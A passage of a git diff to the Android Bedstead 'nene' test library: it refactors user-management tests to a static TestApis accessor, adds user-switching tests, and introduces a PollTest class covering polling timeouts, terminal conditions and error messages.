-        assertThat(mTestApis.users().find(UserHandle.of(USER_ID)).id()).isEqualTo(USER_ID);
+        assertThat(TestApis.users().find(UserHandle.of(USER_ID)).id()).isEqualTo(USER_ID);
     }
 
     @Test
     public void find_constructedReferenceReferencesCorrectId() {
-        assertThat(mTestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
+        assertThat(TestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
     }
 
     @Test
     public void createUser_additionalSystemUser_throwsException()  {
         assertThrows(NeneException.class, () ->
-                mTestApis.users().createUser()
-                        .type(mTestApis.users().supportedType(SYSTEM_USER_TYPE_NAME))
+                TestApis.users().createUser()
+                        .type(TestApis.users().supportedType(SYSTEM_USER_TYPE_NAME))
                         .create());
     }
 
     @Test
     public void createUser_userIsCreated()  {
-        UserReference user = mTestApis.users().createUser().create();
+        UserReference user = TestApis.users().createUser().create();
 
         try {
-            assertThat(mTestApis.users().all()).contains(user);
+            assertThat(TestApis.users().all()).contains(user);
         } finally {
             user.remove();
         }
@@ -195,12 +204,12 @@
 
     @Test
     public void createUser_createdUserHasCorrectName() {
-        UserReference userReference = mTestApis.users().createUser()
+        UserReference userReference = TestApis.users().createUser()
                 .name(USER_NAME)
                 .create();
 
         try {
-            assertThat(userReference.resolve().name()).isEqualTo(USER_NAME);
+            assertThat(userReference.name()).isEqualTo(USER_NAME);
         } finally {
             userReference.remove();
         }
@@ -208,12 +217,12 @@
 
     @Test
     public void createUser_createdUserHasCorrectTypeName() {
-        UserReference userReference = mTestApis.users().createUser()
+        UserReference userReference = TestApis.users().createUser()
                 .type(mSecondaryUserType)
                 .create();
 
         try {
-            assertThat(userReference.resolve().type()).isEqualTo(mSecondaryUserType);
+            assertThat(userReference.type()).isEqualTo(mSecondaryUserType);
         } finally {
             userReference.remove();
         }
@@ -221,15 +230,15 @@
 
     @Test
     public void createUser_specifiesNullUserType_throwsException() {
-        UserBuilder userBuilder = mTestApis.users().createUser();
+        UserBuilder userBuilder = TestApis.users().createUser();
 
         assertThrows(NullPointerException.class, () -> userBuilder.type(null));
     }
 
     @Test
     public void createUser_specifiesSystemUserType_throwsException() {
-        UserType type = mTestApis.users().supportedType(SYSTEM_USER_TYPE_NAME);
-        UserBuilder userBuilder = mTestApis.users().createUser()
+        UserType type = TestApis.users().supportedType(SYSTEM_USER_TYPE_NAME);
+        UserBuilder userBuilder = TestApis.users().createUser()
                 .type(type);
 
         assertThrows(NeneException.class, userBuilder::create);
@@ -237,10 +246,10 @@
 
     @Test
     public void createUser_specifiesSecondaryUserType_createsUser() {
-        UserReference user = mTestApis.users().createUser().type(mSecondaryUserType).create();
+        UserReference user = TestApis.users().createUser().type(mSecondaryUserType).create();
 
         try {
-            assertThat(user.resolve()).isNotNull();
+            assertThat(user.exists()).isTrue();
         } finally {
             user.remove();
         }
@@ -248,26 +257,28 @@
 
     @Test
     @EnsureHasNoDeviceOwner // Device Owners can disable managed profiles
+    @EnsureHasNoWorkProfile(forUser = SYSTEM_USER)
     public void createUser_specifiesManagedProfileUserType_createsUser() {
-        UserReference systemUser = mTestApis.users().system();
-        UserReference user = mTestApis.users().createUser()
+        UserReference systemUser = TestApis.users().system();
+        UserReference user = TestApis.users().createUser()
                 .type(mManagedProfileType).parent(systemUser).create();
 
         try {
-            assertThat(user.resolve()).isNotNull();
+            assertThat(user.exists()).isTrue();
         } finally {
             user.remove();
         }
     }
 
     @Test
+    @EnsureHasNoWorkProfile(forUser = SYSTEM_USER)
     public void createUser_createsProfile_parentIsSet() {
-        UserReference systemUser = mTestApis.users().system();
-        UserReference user = mTestApis.users().createUser()
+        UserReference systemUser = TestApis.users().system();
+        UserReference user = TestApis.users().createUser()
                 .type(mManagedProfileType).parent(systemUser).create();
 
         try {
-            assertThat(user.resolve().parent()).isEqualTo(mTestApis.users().system());
+            assertThat(user.parent()).isEqualTo(TestApis.users().system());
         } finally {
             user.remove();
         }
@@ -275,8 +286,8 @@
 
     @Test
     public void createUser_specifiesParentOnNonProfileType_throwsException() {
-        UserReference systemUser = mTestApis.users().system();
-        UserBuilder userBuilder = mTestApis.users().createUser()
+        UserReference systemUser = TestApis.users().system();
+        UserBuilder userBuilder = TestApis.users().createUser()
                 .type(mSecondaryUserType).parent(systemUser);
 
         assertThrows(NeneException.class, userBuilder::create);
@@ -284,7 +295,7 @@
 
     @Test
     public void createUser_specifiesProfileTypeWithoutParent_throwsException() {
-        UserBuilder userBuilder = mTestApis.users().createUser()
+        UserBuilder userBuilder = TestApis.users().createUser()
                 .type(mManagedProfileType);
 
         assertThrows(NeneException.class, userBuilder::create);
@@ -295,10 +306,10 @@
         assumeTrue("After Android S, managed profiles may be a profile of a non-system user",
                 SDK_INT < Build.VERSION_CODES.S);
 
-        UserReference nonSystemUser = mTestApis.users().createUser().create();
+        UserReference nonSystemUser = TestApis.users().createUser().create();
 
         try {
-            UserBuilder userBuilder = mTestApis.users().createUser()
+            UserBuilder userBuilder = TestApis.users().createUser()
                     .type(mManagedProfileType)
                     .parent(nonSystemUser);
 
@@ -310,11 +321,11 @@
 
     @Test
     public void createAndStart_isStarted() {
-        User user = null;
+        UserReference user = null;
 
         try {
-            user = mTestApis.users().createUser().name(USER_NAME).createAndStart().resolve();
-            assertThat(user.state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+            user = TestApis.users().createUser().name(USER_NAME).createAndStart();
+            assertThat(user.isUnlocked()).isTrue();
         } finally {
             if (user != null) {
                 user.remove();
@@ -324,25 +335,25 @@
 
     @Test
     public void system_hasId0() {
-        assertThat(mTestApis.users().system().id()).isEqualTo(0);
+        assertThat(TestApis.users().system().id()).isEqualTo(0);
     }
 
     @Test
     public void instrumented_hasCurrentProccessId() {
-        assertThat(mTestApis.users().instrumented().id())
+        assertThat(TestApis.users().instrumented().id())
                 .isEqualTo(android.os.Process.myUserHandle().getIdentifier());
     }
 
     @Test
     @EnsureHasNoSecondaryUser
     public void findUsersOfType_noMatching_returnsEmptySet() {
-        assertThat(mTestApis.users().findUsersOfType(mSecondaryUserType)).isEmpty();
+        assertThat(TestApis.users().findUsersOfType(mSecondaryUserType)).isEmpty();
     }
 
     @Test
     public void findUsersOfType_nullType_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.users().findUsersOfType(null));
+                () -> TestApis.users().findUsersOfType(null));
     }
 
     @Test
@@ -350,8 +361,8 @@
     @Ignore("TODO: Re-enable when harrier .secondaryUser() only"
             + " returns the harrier-managed secondary user")
     public void findUsersOfType_returnsUsers() {
-        try (UserReference additionalUser = mTestApis.users().createUser().create()) {
-            assertThat(mTestApis.users().findUsersOfType(mSecondaryUserType))
+        try (UserReference additionalUser = TestApis.users().createUser().create()) {
+            assertThat(TestApis.users().findUsersOfType(mSecondaryUserType))
                     .containsExactly(sDeviceState.secondaryUser(), additionalUser);
         }
     }
@@ -359,60 +370,60 @@
     @Test
     public void findUsersOfType_profileType_throwsException() {
         assertThrows(NeneException.class,
-                () -> mTestApis.users().findUsersOfType(mManagedProfileType));
+                () -> TestApis.users().findUsersOfType(mManagedProfileType));
     }
 
     @Test
     @EnsureHasNoSecondaryUser
     public void findUserOfType_noMatching_returnsNull() {
-        assertThat(mTestApis.users().findUserOfType(mSecondaryUserType)).isNull();
+        assertThat(TestApis.users().findUserOfType(mSecondaryUserType)).isNull();
     }
 
     @Test
     public void findUserOfType_nullType_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.users().findUserOfType(null));
+                () -> TestApis.users().findUserOfType(null));
     }
 
     @Test
     @EnsureHasSecondaryUser
     public void findUserOfType_multipleMatchingUsers_throwsException() {
-        try (UserReference additionalUser = mTestApis.users().createUser().create()) {
+        try (UserReference additionalUser = TestApis.users().createUser().create()) {
             assertThrows(NeneException.class,
-                    () -> mTestApis.users().findUserOfType(mSecondaryUserType));
+                    () -> TestApis.users().findUserOfType(mSecondaryUserType));
         }
     }
 
     @Test
     @EnsureHasSecondaryUser // TODO(scottjonathan): This should have a way of specifying exactly 1
     public void findUserOfType_oneMatchingUser_returnsUser() {
-        assertThat(mTestApis.users().findUserOfType(mSecondaryUserType)).isNotNull();
+        assertThat(TestApis.users().findUserOfType(mSecondaryUserType)).isNotNull();
     }
 
     @Test
     public void findUserOfType_profileType_throwsException() {
         assertThrows(NeneException.class,
-                () -> mTestApis.users().findUserOfType(mManagedProfileType));
+                () -> TestApis.users().findUserOfType(mManagedProfileType));
     }
 
     @Test
     @EnsureHasNoWorkProfile
     public void findProfilesOfType_noMatching_returnsEmptySet() {
-        assertThat(mTestApis.users().findProfilesOfType(mManagedProfileType, mInstrumentedUser))
+        assertThat(TestApis.users().findProfilesOfType(mManagedProfileType, mInstrumentedUser))
                 .isEmpty();
     }
 
     @Test
     public void findProfilesOfType_nullType_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.users().findProfilesOfType(
+                () -> TestApis.users().findProfilesOfType(
                         /* userType= */ null, mInstrumentedUser));
     }
 
     @Test
     public void findProfilesOfType_nullParent_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.users().findProfilesOfType(
+                () -> TestApis.users().findProfilesOfType(
                         mManagedProfileType, /* parent= */ null));
     }
 
@@ -421,45 +432,94 @@
     @Test
     @EnsureHasNoWorkProfile
     public void findProfileOfType_noMatching_returnsNull() {
-        assertThat(mTestApis.users().findProfileOfType(mManagedProfileType, mInstrumentedUser))
+        assertThat(TestApis.users().findProfileOfType(mManagedProfileType, mInstrumentedUser))
                 .isNull();
     }
 
     @Test
     public void findProfilesOfType_nonProfileType_throwsException() {
         assertThrows(NeneException.class,
-                () -> mTestApis.users().findProfilesOfType(mSecondaryUserType, mInstrumentedUser));
+                () -> TestApis.users().findProfilesOfType(mSecondaryUserType, mInstrumentedUser));
     }
 
     @Test
     public void findProfileOfType_nullType_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.users().findProfileOfType(/* userType= */ null, mInstrumentedUser));
+                () -> TestApis.users().findProfileOfType(/* userType= */ null, mInstrumentedUser));
     }
 
     @Test
     public void findProfileOfType_nonProfileType_throwsException() {
         assertThrows(NeneException.class,
-                () -> mTestApis.users().findProfileOfType(mSecondaryUserType, mInstrumentedUser));
+                () -> TestApis.users().findProfileOfType(mSecondaryUserType, mInstrumentedUser));
     }
 
     @Test
     public void findProfileOfType_nullParent_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> mTestApis.users().findProfileOfType(mManagedProfileType, /* parent= */ null));
+                () -> TestApis.users().findProfileOfType(mManagedProfileType, /* parent= */ null));
     }
 
     @Test
     @EnsureHasWorkProfile // TODO(scottjonathan): This should have a way of specifying exactly 1
     public void findProfileOfType_oneMatchingUser_returnsUser() {
-        assertThat(mTestApis.users().findProfileOfType(mManagedProfileType, mInstrumentedUser))
+        assertThat(TestApis.users().findProfileOfType(mManagedProfileType, mInstrumentedUser))
                 .isNotNull();
     }
 
     @Test
     public void nonExisting_userDoesNotExist() {
-        UserReference userReference = mTestApis.users().nonExisting();
+        UserReference userReference = TestApis.users().nonExisting();
 
-        assertThat(userReference.resolve()).isNull();
+        assertThat(userReference.exists()).isFalse();
+    }
+
+    @Test
+    @EnsureHasSecondaryUser(switchedToUser = TRUE)
+    public void currentUser_secondaryUser_returnsCurrentUser() {
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.secondaryUser());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser(switchedToUser = TRUE)
+    public void currentUser_primaryUser_returnsCurrentUser() {
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.primaryUser());
+    }
+
+    @Test
+    @RequireRunNotOnSecondaryUser
+    @EnsureHasSecondaryUser
+    @RequireHeadlessSystemUserMode
+    public void switch_hasSetStopBgUsersOnSwitch_stopsUser() throws Exception {
+        try {
+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_TRUE);
+            TestApis.users().system().switchTo();
+
+            Poll.forValue("Secondary user running",
+                    () -> sDeviceState.secondaryUser().isRunning())
+                    .toBeEqualTo(false)
+                    .errorOnFail()
+                    .await();
+
+            assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
+        } finally {
+            sDeviceState.secondaryUser().start();
+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
+        }
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    public void switch_hasSetStopBgUsersOnSwitchFalse_doesNotStopUser() {
+        try {
+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_FALSE);
+            TestApis.users().system().switchTo();
+
+            assertThat(sDeviceState.secondaryUser().isRunning()).isTrue();
+        } finally {
+            TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
+            sDeviceState.secondaryUser().start();
+            sDeviceState.secondaryUser().switchTo();
+        }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/PollTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/PollTest.java
new file mode 100644
index 0000000..9214bbe
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/PollTest.java
@@ -0,0 +1,550 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.expectThrows;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.nene.exceptions.NeneException;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Duration;
+import java.util.Objects;
+
+@RunWith(BedsteadJUnit4.class)
+public class PollTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+    private static final String VALUE_1 = "Value1";
+    private static final String VALUE_2 = "Value2";
+    private static final Duration SHORT_TIMEOUT = Duration.ofSeconds(1);
+    private static final RuntimeException EXCEPTION = new RuntimeException("Test");
+
+    @Test
+    public void await_toBeEqualTo_alreadyEqual_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_1)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_toBeEqualTo_becomesEqual_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2, VALUE_1, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_1)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_toBeEqualTo_doesNotBecomeEqual_returnIncorrectValue() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_1)
+                .timeout(SHORT_TIMEOUT)
+                .await()).isEqualTo(VALUE_2);
+    }
+
+    @Test
+    public void await_toBeEqualTo_errorOnFailure_doesNotBecomeEqual_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toBeEqualTo(VALUE_1)
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail()
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Expected tester value to be equal to Value1. Was Value2");
+    }
+
+    @Test
+    public void await_toBeEqualTo_errorOnFailure_doesNotBecomeEqual_customError_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toBeEqualTo(VALUE_1)
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail("Custom error")
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Custom error. tester value was Value2");
+    }
+
+    @Test
+    public void await_toNotBeEqualTo_alreadyNotEqual_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toNotBeEqualTo(VALUE_2)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_toNotBeEqualTo_becomesNotEqual_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2, VALUE_1, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toNotBeEqualTo(VALUE_2)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_toNotBeEqualTo_doesNotBecomeNotEqual_returnIncorrectValue() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toNotBeEqualTo(VALUE_2)
+                .timeout(SHORT_TIMEOUT)
+                .await()).isEqualTo(VALUE_2);
+    }
+
+    @Test
+    public void await_toNotBeEqualTo_errorOnFailure_doesNotBecomeNotEqual_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toNotBeEqualTo(VALUE_2)
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail()
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Expected tester value to not be equal to Value2. Was Value2");
+    }
+
+    @Test
+    public void await_toNotBeEqualTo_errorOnFailure_doesNotBecomeNotEqual_customError_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toNotBeEqualTo(VALUE_2)
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail("Custom error")
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Custom error. tester value was Value2");
+    }
+
+    @Test
+    public void await_toBeNull_alreadyNull_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(null);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toBeNull()
+                .await()).isNull();
+    }
+
+    @Test
+    public void await_toBeNull_becomesNull_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2, null, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toBeNull()
+                .await()).isNull();
+    }
+
+    @Test
+    public void await_toBeNull_doesNotBecomeNull_returnIncorrectValue() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toBeNull()
+                .timeout(SHORT_TIMEOUT)
+                .await()).isEqualTo(VALUE_2);
+    }
+
+    @Test
+    public void await_toBeNull_errorOnFailure_doesNotBecomeNull_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toBeNull()
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail()
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Expected tester value to be null. Was Value2");
+    }
+
+    @Test
+    public void await_toBeNull_errorOnFailure_doesNotBecomeNull_customError_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_2);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toBeNull()
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail("Custom error")
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Custom error. tester value was Value2");
+    }
+
+    @Test
+    public void await_toNotBeNull_alreadyNotNull_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toNotBeNull()
+                .await()).isNotNull();
+    }
+
+    @Test
+    public void await_toNotBeNull_becomesNotNull_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(null, VALUE_1, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toNotBeNull()
+                .await()).isNotNull();
+    }
+
+    @Test
+    public void await_toNotBeNull_doesNotBecomeNotNull_returnIncorrectValue() {
+        ValueTester<String> valueTester = new ValueTester<>(null);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toNotBeNull()
+                .timeout(SHORT_TIMEOUT)
+                .await()).isNull();
+    }
+
+    @Test
+    public void await_toNotBeNull_errorOnFailure_doesNotBecomeNotNull_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(null);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toNotBeNull()
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail()
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Expected tester value to not be null. Was null");
+    }
+
+    @Test
+    public void await_toNotBeNull_errorOnFailure_doesNotBecomeNotNull_customError_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(null);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toNotBeNull()
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail("Custom error")
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Custom error. tester value was null");
+    }
+
+    @Test
+    public void await_toMeet_alreadyMeets_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toMeet(Objects::nonNull)
+                .await()).isNotNull();
+    }
+
+    @Test
+    public void await_toMeet_becomesMeets_returns() {
+        ValueTester<String> valueTester = new ValueTester<>(null, VALUE_1, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toMeet(Objects::nonNull)
+                .await()).isNotNull();
+    }
+
+    @Test
+    public void await_toMeet_doesNotMeet_returnIncorrectValue() {
+        ValueTester<String> valueTester = new ValueTester<>(null);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toMeet(Objects::nonNull)
+                .timeout(SHORT_TIMEOUT)
+                .await()).isNull();
+    }
+
+    @Test
+    public void await_toMeet_errorOnFailure_doesNotMeet_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(null);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toMeet(Objects::nonNull)
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail()
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Expected tester value to meet checker function. Was null");
+    }
+
+    @Test
+    public void await_toMeet_errorOnFailure_doesNotMeet_customError_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(null);
+
+        NeneException expected = expectThrows(NeneException.class, () ->
+                Poll.forValue("tester value", valueTester::get)
+                        .toMeet(Objects::nonNull)
+                        .timeout(SHORT_TIMEOUT)
+                        .errorOnFail("Custom error")
+                        .await());
+        assertThat(expected).hasMessageThat()
+                .startsWith("Custom error. tester value was null");
+    }
+
+    @Test
+    public void await_supplierThrowsExceptionSometimes_stillWorks() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION, VALUE_1, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toMeet(Objects::nonNull)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_supplierThrowsExceptionAlways_returnsNull() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toMeet(Objects::nonNull)
+                .timeout(SHORT_TIMEOUT)
+                .await()).isNull();
+    }
+
+    @Test
+    public void await_supplierThrowsExceptionAlways_errorOnFail_throwsExceptionWithSameCause() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION);
+
+        NeneException exception =
+                expectThrows(NeneException.class, () ->
+                        Poll.forValue("tester value", valueTester::get)
+                                .toMeet(Objects::nonNull)
+                                .timeout(SHORT_TIMEOUT)
+                                .errorOnFail()
+                                .await());
+
+        assertThat(exception).hasCauseThat().isSameInstanceAs(EXCEPTION);
+    }
+
+    @Test
+    public void await_checkerThrowsExceptionSometimes_stillWorks() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+        ValueTester<Boolean> checker = new ValueTester<>(EXCEPTION, true, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toMeet(c -> checker.get())
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_checkerThrowsExceptionAlways_returnsNonMatchingValue() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+        ValueTester<Boolean> checker = new ValueTester<>(EXCEPTION);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .toMeet(c -> checker.get())
+                .timeout(SHORT_TIMEOUT)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_checkerThrowsExceptionAlways_errorOnFail_throwsExceptionWithSameCause() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+        ValueTester<Boolean> checker = new ValueTester<>(EXCEPTION);
+
+        NeneException exception =
+                expectThrows(NeneException.class, () ->
+                        Poll.forValue("tester value", valueTester::get)
+                                .toMeet(c -> checker.get())
+                                .timeout(SHORT_TIMEOUT)
+                                .errorOnFail()
+                                .await());
+
+        assertThat(exception).hasCauseThat().isSameInstanceAs(EXCEPTION);
+    }
+
+    @Test
+    public void terminalValue_hasTerminalValue_exitsImmediately() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_2)
+                .terminalValue(c -> c.equals(VALUE_1))
+                .await();
+
+        assertThat(valueTester.mNumberOfTimesGetCalled).isEqualTo(1);
+    }
+
+    @Test
+    public void terminalValue_hasNonTerminalValue_doesNotExitImmediately() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_2)
+                .timeout(SHORT_TIMEOUT)
+                .terminalValue(c -> c.equals(VALUE_2))
+                .await();
+
+        assertThat(valueTester.mNumberOfTimesGetCalled).isGreaterThan(1);
+    }
+
+    @Test
+    public void terminalValue_hasExceptionWithNoValue_doesNotExitImmediately() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION);
+
+        Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_2)
+                .timeout(SHORT_TIMEOUT)
+                .terminalValue(c -> c.equals(VALUE_2))
+                .await();
+
+        assertThat(valueTester.mNumberOfTimesGetCalled).isGreaterThan(1);
+    }
+
+    @Test
+    public void terminalException_hasTerminalException_exitsImmediately() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION);
+
+        Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_2)
+                .terminalException(c -> true)
+                .await();
+
+        assertThat(valueTester.mNumberOfTimesGetCalled).isEqualTo(1);
+    }
+
+    @Test
+    public void terminalException_hasNonTerminalException_doesNotExitImmediately() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION);
+
+        Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_2)
+                .terminalException(c -> false)
+                .await();
+
+        assertThat(valueTester.mNumberOfTimesGetCalled).isGreaterThan(1);
+    }
+
+    @Test
+    public void terminal_hasValue_exitsImmediately() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_2)
+                .terminal(() -> true)
+                .await();
+
+        assertThat(valueTester.mNumberOfTimesGetCalled).isEqualTo(1);
+    }
+
+    @Test
+    public void terminal_hasException_exitsImmediately() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION);
+
+        Poll.forValue("tester value", valueTester::get)
+                .toBeEqualTo(VALUE_2)
+                .terminal(() -> true)
+                .await();
+
+        assertThat(valueTester.mNumberOfTimesGetCalled).isEqualTo(1);
+    }
+
+    @Test
+    public void await_noChecker_returnsFirstValue() {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_noChecker_hasExceptions_returnsFirstValue() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION, VALUE_1, 5);
+
+        assertThat(Poll.forValue("tester value", valueTester::get)
+                .await()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void await_noChecker_onlyHasExceptions_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION);
+
+        assertThrows(NeneException.class,
+                () -> Poll.forValue("tester value", valueTester::get)
+                        .errorOnFail()
+                        .await());
+    }
+
+    private static final class ValueTester<E> {
+        private final Throwable mOriginalThrowable;
+        private final E mOriginalValue;
+        private final E mChangedValue;
+        private int mNumberOfIterations;
+        int mNumberOfTimesGetCalled = 0;
+
+        ValueTester(E originalValue, E changedValue, int numberOfIterations) {
+            mOriginalValue = originalValue;
+            mChangedValue = changedValue;
+            mNumberOfIterations = numberOfIterations;
+            mOriginalThrowable = null;
+        }
+
